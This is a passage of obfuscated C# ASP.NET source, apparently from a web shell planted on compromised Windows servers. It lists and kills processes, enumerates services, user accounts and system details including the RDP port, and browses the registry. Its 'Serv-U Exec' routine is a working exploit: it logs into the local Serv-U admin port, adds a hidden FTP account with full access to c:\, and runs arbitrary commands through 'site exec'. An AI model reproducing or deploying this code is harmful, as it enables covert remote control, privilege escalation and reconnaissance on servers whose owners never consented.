  1341. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  1342.  
  1343. while(oEnum.MoveNext())
  1344.  
  1345. {
  1346.  
  1347. PropertyData DRU=(PropertyData)oEnum.Current;
  1348.  
  1349. if(dt.Columns.IndexOf(DRU.Name)==-1)
  1350.  
  1351. {
  1352.  
  1353. dt.Columns.Add(DRU.Name);
  1354.  
  1355. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  1356.  
  1357. }
  1358.  
  1359. if(m[DRU.Name]!=null)
  1360.  
  1361. {
  1362.  
  1363. dr[DRU.Name]=m[DRU.Name].ToString();
  1364.  
  1365. }
  1366.  
  1367. else
  1368.  
  1369. {
  1370.  
  1371. dr[DRU.Name]=string.Empty;
  1372.  
  1373. }
  1374.  
  1375. }
  1376.  
  1377. dt.Rows.Add(dr);
  1378.  
  1379. }
  1380.  
  1381. }
  1382.  
  1383. catch(Exception error)
  1384.  
  1385. {
  1386.  
  1387. }
  1388.  
  1389. return dt;
  1390.  
  1391. }
  1392.  
  1393. public void YUw()
  1394.  
  1395. {
  1396.  
  1397. try
  1398.  
  1399. {
  1400.  
  1401. Bin_H2_Title.InnerText="Process >>";
  1402.  
  1403. WICxe();
  1404.  
  1405. DCbS.Visible=true;
  1406.  
  1407. int UEbTI=0;
  1408.  
  1409. Process[] p=Process.GetProcesses();
  1410.  
  1411. foreach(Process sp in p)
  1412.  
  1413. {
  1414.  
  1415. UEbTI++;
  1416.  
  1417. string bg=OKM();
  1418.  
  1419. TableRow tr=new TableRow();
  1420.  
  1421. tr.Attributes["onmouseover"]="this.className='focus';";
  1422.  
  1423. tr.CssClass=bg;
  1424.  
  1425. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1426.  
  1427. for(int i=1;i<7;i++)
  1428.  
  1429. {
  1430.  
  1431. TableCell td=new TableCell();
  1432.  
  1433. if(i==1)
  1434.  
  1435. {
  1436.  
  1437. td.Width=Unit.Parse("2%");
  1438.  
  1439. td.Text=UEbTI.ToString();
  1440.  
  1441. tr.Controls.Add(td);
  1442.  
  1443. }
  1444.  
  1445. if(i==2)
  1446.  
  1447. {
  1448.  
  1449. td.Text=sp.Id.ToString();
  1450.  
  1451. tr.Controls.Add(td);
  1452.  
  1453. }
  1454.  
  1455. if(i==3)
  1456.  
  1457. {
  1458.  
  1459. td.Text=sp.ProcessName.ToString();
  1460.  
  1461. tr.Controls.Add(td);
  1462.  
  1463. }
  1464.  
  1465. if(i==4)
  1466.  
  1467. {
  1468.  
  1469. td.Text=sp.Threads.Count.ToString();
  1470.  
  1471. tr.Controls.Add(td);
  1472.  
  1473. }
  1474.  
  1475. if(i==5)
  1476.  
  1477. {
  1478.  
  1479. td.Text=sp.BasePriority.ToString();
  1480.  
  1481. tr.Controls.Add(td);
  1482.  
  1483. }
  1484.  
  1485. if(i==6)
  1486.  
  1487. {
  1488.  
  1489. td.Text="--";
  1490.  
  1491. tr.Controls.Add(td);
  1492.  
  1493. }
  1494.  
  1495. }
  1496.  
  1497. IjsL.Controls.Add(tr);
  1498.  
  1499. }
  1500.  
  1501. }
  1502.  
  1503. catch(Exception error)
  1504.  
  1505. {
  1506.  
  1507. AIz();
  1508.  
  1509. }
  1510.  
  1511. AIz();
  1512.  
  1513. }
  1514.  
  1515. public void AIz()
  1516.  
  1517. {
  1518.  
  1519. try
  1520.  
  1521. {
  1522.  
  1523. Bin_H2_Title.InnerText="Process >>";
  1524.  
  1525. WICxe();
  1526.  
  1527. DCbS.Visible=true;
  1528.  
  1529. int UEbTI=0;
  1530.  
  1531. DataTable dt=cCf("Win32_Process");
  1532.  
  1533. for(int j=0;j<dt.Rows.Count;j++)
  1534.  
  1535. {
  1536.  
  1537. UEbTI++;
  1538.  
  1539. string bg=OKM();
  1540.  
  1541. TableRow tr=new TableRow();
  1542.  
  1543. tr.Attributes["onmouseover"]="this.className='focus';";
  1544.  
  1545. tr.CssClass=bg;
  1546.  
  1547. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1548.  
  1549. for(int i=1;i<7;i++)
  1550.  
  1551. {
  1552.  
  1553. TableCell td=new TableCell();
  1554.  
  1555. if(i==1)
  1556.  
  1557. {
  1558.  
  1559. td.Width=Unit.Parse("2%");
  1560.  
  1561. td.Text=UEbTI.ToString();
  1562.  
  1563. tr.Controls.Add(td);
  1564.  
  1565. }
  1566.  
  1567. if(i==2)
  1568.  
  1569. {
  1570.  
  1571. td.Text=dt.Rows[j]["ProcessID"].ToString();
  1572.  
  1573. tr.Controls.Add(td);
  1574.  
  1575. }
  1576.  
  1577. if(i==3)
  1578.  
  1579. {
  1580.  
  1581. td.Text=dt.Rows[j]["Name"].ToString();
  1582.  
  1583. tr.Controls.Add(td);
  1584.  
  1585. }
  1586.  
  1587. if(i==4)
  1588.  
  1589. {
  1590.  
  1591. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  1592.  
  1593. tr.Controls.Add(td);
  1594.  
  1595. }
  1596.  
  1597. if(i==5)
  1598.  
  1599. {
  1600.  
  1601. td.Text=dt.Rows[j]["Priority"].ToString();
  1602.  
  1603. tr.Controls.Add(td);
  1604.  
  1605. }
  1606.  
  1607. if(i==6)
  1608.  
  1609. {
  1610.  
  1611. if( dt.Rows[j]["CommandLine"]!=string.Empty)
  1612.  
  1613. {
  1614.  
  1615. td.Text="<a href=\"javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')\">Kill</a>";
  1616.  
  1617. }
  1618.  
  1619. else
  1620.  
  1621. {
  1622.  
  1623. td.Text="--";
  1624.  
  1625. }
  1626.  
  1627. tr.Controls.Add(td);
  1628.  
  1629. }
  1630.  
  1631. }
  1632.  
  1633. IjsL.Controls.Add(tr);
  1634.  
  1635. }
  1636.  
  1637. }
  1638.  
  1639. catch(Exception error)
  1640.  
  1641. {
  1642.  
  1643. xseuB(error.Message);
  1644.  
  1645. }
  1646.  
  1647. }
  1648.  
  1649. public void urJG(string pid)
  1650.  
  1651. {
  1652.  
  1653. try
  1654.  
  1655. {
  1656.  
  1657. foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  1658.  
  1659. {
  1660.  
  1661. p.InvokeMethod("Terminate",null);
  1662.  
  1663. p.Dispose();
  1664.  
  1665. }
  1666.  
  1667. xseuB("Process Kill Success !");
  1668.  
  1669. }
  1670.  
  1671. catch(Exception error)
  1672.  
  1673. {
  1674.  
  1675. xseuB(error.Message);
  1676.  
  1677. }
  1678.  
  1679. AIz();
  1680.  
  1681. }
  1682.  
  1683. public void oHpF()
  1684.  
  1685. {
  1686.  
  1687. try
  1688.  
  1689. {
  1690.  
  1691. Bin_H2_Title.InnerText="Services >>";
  1692.  
  1693. WICxe();
  1694.  
  1695. iQxm.Visible=true;
  1696.  
  1697. int UEbTI=0;
  1698.  
  1699. ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
  1700.  
  1701. for(int i=0;i<kQmRu.Length;i++)
  1702.  
  1703. {
  1704.  
  1705. UEbTI++;
  1706.  
  1707. string bg=OKM();
  1708.  
  1709. TableRow tr=new TableRow();
  1710.  
  1711. tr.Attributes["onmouseover"]="this.className='focus';";
  1712.  
  1713. tr.CssClass=bg;
  1714.  
  1715. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1716.  
  1717. for(int b=1;b<7;b++)
  1718.  
  1719. {
  1720.  
  1721. TableCell td=new TableCell();
  1722.  
  1723. if(b==1)
  1724.  
  1725. {
  1726.  
  1727. td.Width=Unit.Parse("2%");
  1728.  
  1729. td.Text=UEbTI.ToString();
  1730.  
  1731. tr.Controls.Add(td);
  1732.  
  1733. }
  1734.  
  1735. if(b==2)
  1736.  
  1737. {
  1738.  
  1739. td.Text="null";
  1740.  
  1741. tr.Controls.Add(td);
  1742.  
  1743. }
  1744.  
  1745. if(b==3)
  1746.  
  1747. {
  1748.  
  1749. td.Text=kQmRu[i].ServiceName.ToString();
  1750.  
  1751. tr.Controls.Add(td);
  1752.  
  1753. }
  1754.  
  1755. if(b==4)
  1756.  
  1757. {
  1758.  
  1759. td.Text="";
  1760.  
  1761. tr.Controls.Add(td);
  1762.  
  1763. }
  1764.  
  1765. if(b==5)
  1766.  
  1767. {
  1768.  
  1769. string kOIo=kQmRu[i].Status.ToString();
  1770.  
  1771. if(kOIo=="Running")
  1772.  
  1773. {
  1774.  
  1775. td.Text="<font color=green>"+kOIo+"</font>";
  1776.  
  1777. }
  1778.  
  1779. else
  1780.  
  1781. {
  1782.  
  1783. td.Text="<font color=red>"+kOIo+"</font>";
  1784.  
  1785. }
  1786.  
  1787. tr.Controls.Add(td);
  1788.  
  1789. }
  1790.  
  1791. if(b==6)
  1792.  
  1793. {
  1794.  
  1795. td.Text="";
  1796.  
  1797. tr.Controls.Add(td);
  1798.  
  1799. }
  1800.  
  1801. }
  1802.  
  1803. vHCs.Controls.Add(tr);
  1804.  
  1805. }
  1806.  
  1807. }
  1808.  
  1809. catch(Exception error)
  1810.  
  1811. {
  1812.  
  1813. xseuB(error.Message);
  1814.  
  1815. }
  1816.  
  1817. }
  1818.  
  1819. public void tZRH()
  1820.  
  1821. {
  1822.  
  1823. try
  1824.  
  1825. {
  1826.  
  1827. Bin_H2_Title.InnerText="Services >>";
  1828.  
  1829. WICxe();
  1830.  
  1831. iQxm.Visible=true;
  1832.  
  1833. int UEbTI=0;
  1834.  
  1835. DataTable dt=cCf("Win32_Service");
  1836.  
  1837. for(int j=0;j<dt.Rows.Count;j++)
  1838.  
  1839. {
  1840.  
  1841. UEbTI++;
  1842.  
  1843. string bg=OKM();
  1844.  
  1845. TableRow tr=new TableRow();
  1846.  
  1847. tr.Attributes["onmouseover"]="this.className='focus';";
  1848.  
  1849. tr.CssClass=bg;
  1850.  
  1851. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1852.  
  1853. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  1854.  
  1855. for(int i=1;i<7;i++)
  1856.  
  1857. {
  1858.  
  1859. TableCell td=new TableCell();
  1860.  
  1861. if(i==1)
  1862.  
  1863. {
  1864.  
  1865. td.Width=Unit.Parse("2%");
  1866.  
  1867. td.Text=UEbTI.ToString();
  1868.  
  1869. tr.Controls.Add(td);
  1870.  
  1871. }
  1872.  
  1873. if(i==2)
  1874.  
  1875. {
  1876.  
  1877. td.Text=dt.Rows[j]["ProcessID"].ToString();
  1878.  
  1879. tr.Controls.Add(td);
  1880.  
  1881. }
  1882.  
  1883. if(i==3)
  1884.  
  1885. {
  1886.  
  1887. td.Text=dt.Rows[j]["Name"].ToString();
  1888.  
  1889. tr.Controls.Add(td);
  1890.  
  1891. }
  1892.  
  1893. if(i==4)
  1894.  
  1895. {
  1896.  
  1897. td.Text=dt.Rows[j]["PathName"].ToString();
  1898.  
  1899. tr.Controls.Add(td);
  1900.  
  1901. }
  1902.  
  1903. if(i==5)
  1904.  
  1905. {
  1906.  
  1907. string kOIo=dt.Rows[j]["State"].ToString();
  1908.  
  1909. if(kOIo=="Running")
  1910.  
  1911. {
  1912.  
  1913. td.Text="<font color=green>"+kOIo+"</font>";
  1914.  
  1915. }
  1916.  
  1917. else
  1918.  
  1919. {
  1920.  
  1921. td.Text="<font color=red>"+kOIo+"</font>";
  1922.  
  1923. }
  1924.  
  1925. tr.Controls.Add(td);
  1926.  
  1927. }
  1928.  
  1929. if(i==6)
  1930.  
  1931. {
  1932.  
  1933. td.Text=dt.Rows[j]["StartMode"].ToString();
  1934.  
  1935. tr.Controls.Add(td);
  1936.  
  1937. }
  1938.  
  1939. }
  1940.  
  1941. vHCs.Controls.Add(tr);
  1942.  
  1943. }
  1944.  
  1945. }
  1946.  
  1947. catch(Exception error)
  1948.  
  1949. {
  1950.  
  1951. oHpF();
  1952.  
  1953. }
  1954.  
  1955. }
  1956.  
  1957. public void PLd()
  1958.  
  1959. {
  1960.  
  1961. try
  1962.  
  1963. {
  1964.  
  1965. WICxe();
  1966.  
  1967. xWVQ.Visible=true;
  1968.  
  1969. Bin_H2_Title.InnerText="User Information >>";
  1970.  
  1971. DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  1972.  
  1973. foreach(DirectoryEntry child in TWQ.Children)
  1974.  
  1975. {
  1976.  
  1977. foreach(string name in child.Properties.PropertyNames)
  1978.  
  1979. {
  1980.  
  1981. PropertyValueCollection pvc=child.Properties[name];
  1982.  
  1983. int c=pvc.Count;
  1984.  
  1985. for(int i=0;i<c;i++)
  1986.  
  1987. {
  1988.  
  1989. if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
  1990.  
  1991. {
  1992.  
  1993. string bg=OKM();
  1994.  
  1995. TableRow tr=new TableRow();
  1996.  
  1997. tr.Attributes["onmouseover"]="this.className='focus';";
  1998.  
  1999. tr.CssClass=bg;
  2000.  
  2001. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2002.  
  2003. TableCell td=new TableCell();
  2004.  
  2005. td.Text=name;
  2006.  
  2007. tr.Controls.Add(td);
  2008.  
  2009. TableCell td1=new TableCell();
  2010.  
  2011. td1.Text=pvc[i].ToString();
  2012.  
  2013. tr.Controls.Add(td1);
  2014.  
  2015. VPa.Controls.Add(tr);
  2016.  
  2017. }
  2018.  
  2019. }
  2020.  
  2021. }
  2022.  
  2023. TableRow trn=new TableRow();
  2024.  
  2025. for(int x=1;x<3;x++)
  2026.  
  2027. {
  2028.  
  2029. TableCell tdn=new TableCell();
  2030.  
  2031. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  2032.  
  2033. trn.Controls.Add(tdn);
  2034.  
  2035. VPa.Controls.Add(trn);
  2036.  
  2037. }
  2038.  
  2039. }
  2040.  
  2041. }
  2042.  
  2043. catch(Exception error)
  2044.  
  2045. {
  2046.  
  2047. xseuB(error.Message);
  2048.  
  2049. }
  2050.  
  2051. }
  2052.  
  2053. public void iLVUT()
  2054.  
  2055. {
  2056.  
  2057. try
  2058.  
  2059. {
  2060.  
  2061. WICxe();
  2062.  
  2063. xWVQ.Visible=true;
  2064.  
  2065. Bin_H2_Title.InnerText="User Information >>";
  2066.  
  2067. DataTable user=cCf("Win32_UserAccount");
  2068.  
  2069. for(int i=0;i<user.Rows.Count;i++)
  2070.  
  2071. {
  2072.  
  2073. for(int j=0;j<user.Columns.Count;j++)
  2074.  
  2075. {
  2076.  
  2077. string bg=OKM();
  2078.  
  2079. TableRow tr=new TableRow();
  2080.  
  2081. tr.Attributes["onmouseover"]="this.className='focus';";
  2082.  
  2083. tr.CssClass=bg;
  2084.  
  2085. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2086.  
  2087. TableCell td=new TableCell();
  2088.  
  2089. td.Text=user.Columns[j].ToString();
  2090.  
  2091. tr.Controls.Add(td);
  2092.  
  2093. TableCell td1=new TableCell();
  2094.  
  2095. td1.Text=user.Rows[i][j].ToString();
  2096.  
  2097. tr.Controls.Add(td1);
  2098.  
  2099. VPa.Controls.Add(tr);
  2100.  
  2101. }
  2102.  
  2103. TableRow trn=new TableRow();
  2104.  
  2105. for(int x=1;x<3;x++)
  2106.  
  2107. {
  2108.  
  2109. TableCell tdn=new TableCell();
  2110.  
  2111. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  2112.  
  2113. trn.Controls.Add(tdn);
  2114.  
  2115. VPa.Controls.Add(trn);
  2116.  
  2117. }
  2118.  
  2119. }
  2120.  
  2121. }
  2122.  
  2123. catch(Exception error)
  2124.  
  2125. {
  2126.  
  2127. PLd();
  2128.  
  2129. }
  2130.  
  2131. }
  2132.  
  2133. public void pDVM()
  2134.  
  2135. {
  2136.  
  2137. try
  2138.  
  2139. {
  2140.  
  2141. RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  2142.  
  2143. string IKjwH=DdmPl(EeZ,"PortNumber");
  2144.  
  2145. RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  2146.  
  2147. int cpu=izN.SubKeyCount;
  2148.  
  2149. RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
  2150.  
  2151. string NPPZ=DdmPl(mQII,"ProcessorNameString");
  2152.  
  2153. WICxe();
  2154.  
  2155. ghaB.Visible=true;
  2156.  
  2157. Bin_H2_Title.InnerText="System Information >>";
  2158.  
  2159. Bin_H2_Mac.InnerText="MAC Information >>";
  2160.  
  2161. Bin_H2_Driver.InnerText="Driver Information >>";
  2162.  
  2163. StringBuilder yEwc=new StringBuilder();
  2164.  
  2165. StringBuilder hwJeS=new StringBuilder();
  2166.  
  2167. StringBuilder jXkaE=new StringBuilder();
  2168.  
  2169. yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  2170.  
  2171. yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  2172.  
  2173. yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
  2174.  
  2175. yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  2176.  
  2177. yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  2178.  
  2179. yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
  2180.  
  2181. yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  2182.  
  2183. yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  2184.  
  2185. DataTable BIOS=cCf("Win32_BIOS");
  2186.  
  2187. yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  2188.  
  2189. yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  2190.  
  2191. yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
  2192.  
  2193. DataTable upM=cCf("Win32_PhysicalMemory");
  2194.  
  2195. Int64 oZnZV=0;
  2196.  
  2197. for(int i=0;i<upM.Rows.Count;i++)
  2198.  
  2199. {
  2200.  
  2201. oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
  2202.  
  2203. }
  2204.  
  2205. yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
  2206.  
  2207. DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
  2208.  
  2209. for(int i=0;i<dOza.Rows.Count;i++)
  2210.  
  2211. {
  2212.  
  2213. hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
  2214.  
  2215. if(dOza.Rows[i]["MACAddress"]!=string.Empty)
  2216.  
  2217. {
  2218.  
  2219. hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
  2220.  
  2221. }
  2222.  
  2223. }
  2224.  
  2225. DataTable Driver=cCf("Win32_SystemDriver");
  2226.  
  2227. for (int i=0; i<Driver.Rows.Count; i++)
  2228.  
  2229. {
  2230.  
  2231. jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  2232.  
  2233. if (Driver.Rows[i]["PathName"]!=string.Empty)
  2234.  
  2235. {
  2236.  
  2237. jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
  2238.  
  2239. }
  2240.  
  2241. else
  2242.  
  2243. {
  2244.  
  2245. jXkaE.Append("No path information");
  2246.  
  2247. }
  2248.  
  2249. jXkaE.Append("</li>");
  2250.  
  2251. }
  2252.  
  2253. Bin_Ul_Sys.InnerHtml=yEwc.ToString();
  2254.  
  2255. Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
  2256.  
  2257. Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
  2258.  
  2259. }
  2260.  
  2261. catch(Exception error)
  2262.  
  2263. {
  2264.  
  2265. xseuB(error.Message);
  2266.  
  2267. }
  2268.  
  2269. }
  2270.  
  2271. public void ADCpk()
  2272.  
  2273. {
  2274.  
  2275. WICxe();
  2276.  
  2277. APl.Visible=true;
  2278.  
  2279. Bin_H2_Title.InnerText="Serv-U Exec >>";
  2280.  
  2281. }
  2282.  
  2283. public void lDODR()
  2284.  
  2285. {
  2286.  
  2287. string JGGg=string.Empty;
  2288.  
  2289. string user=dNohJ.Value;
  2290.  
  2291. string pass=NMd.Value;
  2292.  
  2293. int port=Int32.Parse(HlQl.Value);
  2294.  
  2295. string cmd=mHbjB.Value;
  2296.  
  2297. string CRtK="user "+user+"\r\n";
  2298.  
  2299. string jnNG="pass "+pass+"\r\n";
  2300.  
  2301. string site="SITE MAINTENANCE\r\n";
  2302.  
  2303. string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  2304.  
  2305. string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  2306.  
  2307. string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  2308.  
  2309. string zexn="QUIT\r\n";
  2310.  
  2311. UHlA.Visible=true;
  2312.  
  2313. try
  2314.  
  2315. {
  2316.  
  2317. tcp.Connect("127.0.0.1",port);
  2318.  
  2319. tcp.ReceiveBufferSize=1024;
  2320.  
  2321. NS=tcp.GetStream();
  2322.  
  2323. Rev(NS);
  2324.  
  2325. ZJiM(NS,CRtK);
  2326.  
  2327. Rev(NS);
  2328.  
  2329. ZJiM(NS,jnNG);
  2330.  
  2331. Rev(NS);
  2332.  
  2333. ZJiM(NS,site);
  2334.  
  2335. Rev(NS);
  2336.  
  2337. ZJiM(NS,mtoJb);
  2338.  
  2339. Rev(NS);
  2340.  
  2341. ZJiM(NS,sutI);
  2342.  
  2343. Rev(NS);
  2344.  
  2345. ZJiM(NS,iVDT);
  2346.  
  2347. Rev(NS);
  2348.  
  2349. Bin_Td_Res.InnerHtml+="<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
  2350.  
  2351. zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
  2352.  
  2353. NS1=zvxm.GetStream();
  2354.  
  2355. Rev(NS1);
  2356.  
  2357. ZJiM(NS1,"user bin\r\n");
  2358.  
  2359. Rev(NS1);
  2360.  
  2361. ZJiM(NS1,"pass binftp\r\n");
  2362.  
  2363. Rev(NS1);
  2364.  
  2365. ZJiM(NS1,"site exec "+cmd+"\r\n");
  2366.  
  2367. Rev(NS1);
  2368.  
  2369. ZJiM(NS1,"quit\r\n");
  2370.  
  2371. Rev(NS1);
  2372.  
  2373. zvxm.Close();
  2374.  
  2375. ZJiM(NS,mtoJb);
  2376.  
  2377. Rev(NS);
  2378.  
  2379. tcp.Close();
  2380.  
  2381. }
  2382.  
  2383. catch(Exception error)
  2384.  
  2385. {
  2386.  
  2387. xseuB(error.Message);
  2388.  
  2389. }
  2390.  
  2391. }
  2392.  
  2393. protected void Rev(NetworkStream instream)
  2394.  
  2395. {
  2396.  
  2397. string FTBtf=string.Empty;
  2398.  
  2399. if(instream.CanRead)
  2400.  
  2401. {
  2402.  
  2403. byte[] uPZ=new byte[1024];
  2404.  
  2405. do
  2406.  
  2407. {
  2408.  
  2409. System.Threading.Thread.Sleep(50);
  2410.  
  2411. int len=instream.Read(uPZ,0,uPZ.Length);
  2412.  
  2413. FTBtf+=Encoding.Default.GetString(uPZ,0,len);
  2414.  
  2415. }
  2416.  
  2417. while(instream.DataAvailable);
  2418.  
  2419. }
  2420.  
  2421. Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
  2422.  
  2423. }
  2424.  
  2425. protected void ZJiM(NetworkStream instream,string Sendstr)
  2426.  
  2427. {
  2428.  
  2429. if(instream.CanWrite)
  2430.  
  2431. {
  2432.  
  2433. byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
  2434.  
  2435. instream.Write(uPZ,0,uPZ.Length);
  2436.  
  2437. }
  2438.  
  2439. Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
  2440.  
  2441. }
  2442.  
  2443. public void xFhz()
  2444.  
  2445. {
  2446.  
  2447. WICxe();
  2448.  
  2449. kkHN.Visible=true;
  2450.  
  2451. Bin_H2_Title.InnerText="RegShell >>";
  2452.  
  2453. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  2454.  
  2455. vyX.Text="";
  2456.  
  2457. foreach(string rootkey in txc.Split('|'))
  2458.  
  2459. {
  2460.  
  2461. vyX.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a> | ";
  2462.  
  2463. }
  2464.  
  2465. lFAvw();
  2466.  
  2467. }
  2468.  
  2469. protected void lFAvw()
  2470.  
  2471. {
  2472.  
  2473. qPdI.Text="";
  2474.  
  2475. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  2476.  
  2477. TableRow tr;
  2478.  
  2479. TableCell tc;
  2480.  
  2481. foreach(string rootkey in txc.Split('|'))
  2482.  
  2483. {
  2484.  
  2485. tr=new TableRow();
  2486.  
  2487. tc=new TableCell();
  2488.  
  2489. string bg=OKM();
  2490.  
  2491. tr.Attributes["onmouseover"]="this.className='focus';";
  2492.  
  2493. tr.CssClass=bg;
  2494.  
  2495. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2496.  
  2497. tc.Width=Unit.Parse("40%");
  2498.  
  2499. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a>";
  2500.  
  2501. tr.Cells.Add(tc);
  2502.  
  2503. tc=new TableCell();
  2504.  
  2505. tc.Width=Unit.Parse("60%");
  2506.  
  2507. tc.Text="&lt;RootKey&gt;";
  2508.  
  2509. tr.Cells.Add(tc);
  2510.  
  2511. pLWD.Rows.Add(tr);
  2512.  
  2513. }
  2514.  
  2515. }
  2516.  
  2517. protected void tpRQ(string Reg_Path)
  2518.  
  2519. {
  2520.  
  2521. if(!Reg_Path.EndsWith("\\"))
  2522.  
  2523. {
  2524.  
  2525. Reg_Path=Reg_Path+"\\";
  2526.  
  2527. }
  2528.  
  2529. qPdI.Text=Reg_Path;
  2530.  
  2531. string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  2532.  
  2533. cJG=Regex.Replace(cJG,@"\\+","\\");
  2534.  
  2535. TableRow tr=new TableRow();
  2536.  
  2537. TableCell tc=new TableCell();
  2538.  
  2539. string bg=OKM();
  2540.  
  2541. tr.Attributes["onmouseover"]="this.className='focus';";
  2542.  
  2543. tr.CssClass=bg;
  2544.  
  2545. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2546.  
  2547. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')\">Parent Key</a>";
  2548.  
  2549. tc.Attributes["colspan"]="2" ;
  2550.  
  2551. tr.Cells.Add(tc);
  2552.  
  2553. pLWD.Rows.Add(tr);
  2554.  
  2555. try
  2556.  
  2557. {
  2558.  
  2559. string subpath;
  2560.  
  2561. string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
  2562.  
  2563. RegistryKey rk=null;
  2564.  
  2565. RegistryKey sk;
  2566.  
  2567. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
  2568.  
  2569. {
  2570.  
  2571. rk=Registry.LocalMachine;
  2572.  
  2573. }
  2574.  
  2575. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
  2576.  
  2577. {
  2578.  
  2579. rk=Registry.ClassesRoot;
  2580.  
  2581. }
  2582.  
  2583. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
  2584.  
  2585. {
  2586.  
  2587. rk=Registry.CurrentUser;
  2588.  
  2589. }
  2590.  
  2591. else if(Reg_Path.StartsWith("HKEY_USERS"))
  2592.  
  2593. {
  2594.  
  2595. rk=Registry.Users;
  2596.  
  2597. }
  2598.  
  2599. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
  2600.  
  2601. {
  2602.  
  2603. rk=Registry.CurrentConfig;
  2604.  
  2605. }
  2606.  
  2607. if(kDgkX.Length>1)
  2608.  
  2609. {
  2610.  
  2611. sk=rk.OpenSubKey(kDgkX);
  2612.  
  2613. }
  2614.  
  2615. else
  2616.  
  2617. {
